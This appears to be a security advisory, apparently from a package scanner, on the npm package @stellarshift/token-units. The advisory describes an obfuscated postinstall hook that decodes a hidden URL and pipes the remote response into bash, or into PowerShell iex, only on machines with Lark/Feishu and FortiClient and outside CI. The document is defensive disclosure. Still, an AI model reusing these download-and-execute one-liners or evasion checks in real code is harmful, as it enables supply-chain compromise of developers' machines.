@stellarshift/token-units@1.0.3

Summary

Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key seed + '-stellarshift-registry' combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash on Unix, and iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.

Source: amazon-inspector (a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211)